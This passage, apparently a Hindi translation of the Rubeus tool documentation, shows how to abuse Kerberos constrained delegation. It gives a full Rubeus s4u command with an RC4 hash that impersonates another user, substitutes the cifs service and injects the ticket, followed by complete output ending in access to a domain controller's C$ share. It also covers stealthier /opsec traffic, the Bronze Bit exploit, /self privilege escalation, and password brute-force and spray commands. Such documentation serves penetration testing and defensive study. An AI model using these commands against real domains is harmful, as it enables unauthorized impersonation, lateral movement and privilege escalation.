/altservice पैरामीटर Alberto Solino की महान खोज का लाभ उठाता है कि KRB-CRED फ़ाइल में सेवा नाम (sname) सुरक्षित नहीं है, केवल सर्वर नाम सुरक्षित है। यह हमें परिणामी KRB-CRED (.kirbi) फ़ाइल में अपनी पसंद के किसी भी सेवा नाम को प्रतिस्थापित करने की अनुमति देता है। एक या अधिक वैकल्पिक सेवा नाम, अल्पविराम से अलग करके प्रदान किए जा सकते हैं (/altservice:cifs,HOST,...)।
आइए पिछले उदाहरण का विस्तार करें, primary.testlab.local पर फ़ाइल सिस्टम तक पहुंच बनाने के लिए इसके सीमित प्रतिनिधिमंडल कॉन्फ़िगरेशन और वैकल्पिक सेवा प्रतिस्थापन का दुरुपयोग करें। आइए इसे एक ही चरण में पैकेज करें, TGT अनुरोध, S4U2self प्रक्रिया, S4U2proxy निष्पादन और अंतिम टिकट का इंजेक्शन करें:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
डिफ़ॉल्ट रूप से, Rubeus द्वारा उत्पन्न S4U2Self और S4U2Proxy TGS-REQ और वास्तविक अनुरोधों के बीच कई अंतर मौजूद हैं। TGS-REQ को वास्तविक अनुरोधों के अधिक अनुरूप बनाने के लिए /opsec फ़्लैग का उपयोग किया जा सकता है। चूंकि यह फ़्लैग Rubeus ट्रैफ़िक को अधिक गुप्त बनाने के लिए है, डिफ़ॉल्ट रूप से इसका उपयोग aes256 के अलावा किसी अन्य एन्क्रिप्शन प्रकार के साथ नहीं किया जा सकता है, और यदि कोई अन्य एन्क्रिप्शन प्रकार उपयोग किया जाता है तो यह केवल एक चेतावनी देगा और बाहर निकल जाएगा। /opsec परिवर्तनों के साथ अन्य एन्क्रिप्शन प्रकारों के उपयोग की अनुमति देने के लिए /force फ़्लैग मौजूद है। /opsec फ़्लैग अभी तक क्रॉस-डोमेन S4U के लिए लागू नहीं किया गया है।
Bronze Bit शोषण (CVE-2020-17049) को /bronzebit फ़्लैग का उपयोग करके कार्यान्वित किया गया है। इस फ़्लैग को जोड़ने से S4U2Self टिकट प्राप्त करते समय स्वचालित रूप से forwardable फ़्लैग पलट जाएगा। चूंकि इस फ़्लैग को पलटने के लिए सेवा टिकट को डिक्रिप्ट और पुनः एन्क्रिप्ट करने की आवश्यकता होती है, दीर्घकालिक कुंजी (सेवा खाते का पासवर्ड हैश) आवश्यक है। इस कारण से, यदि TGT प्रदान किया जा रहा है, तो इसके काम करने के लिए सेवा खाते के क्रेडेंशियल भी आवश्यक हैं।
कुछ परिस्थितियों में, S4U2Self टिकट का उपयोग संरक्षित उपयोगकर्ताओं का रूप धारण करने के लिए संभव है ताकि अनुरोध करने वाले सिस्टम पर विशेषाधिकार बढ़ाए जा सकें, जैसा कि यहाँ चर्चा की गई है। इस उद्देश्य के लिए, /self फ़्लैग और /altservice:X तर्क का उपयोग एक उपयोगी सेवा टिकट उत्पन्न करने के लिए किया जा सकता है।
| कमांड | विवरण |
|---|
| asktgt | हैश/कुंजी या पासवर्ड से टिकट-ग्रांटिंग-टिकट (TGT) का अनुरोध करें |
| asktgs | पास किए गए TGT से सेवा टिकट का अनुरोध करें |
| renew | TGT या सेवा टिकट का नवीनीकरण (या स्वतः नवीनीकरण) करें |
| brute | Kerberos-आधारित पासवर्ड ब्रूटफोर्स हमला करें। 'brute' के बजाय 'spray' का भी उपयोग किया जा सकता है |
| preauthscan | उन खातों के लिए स्कैन करें जिन्हें Kerberos प्री-ऑथेंटिकेशन की आवश्यकता नहीं है |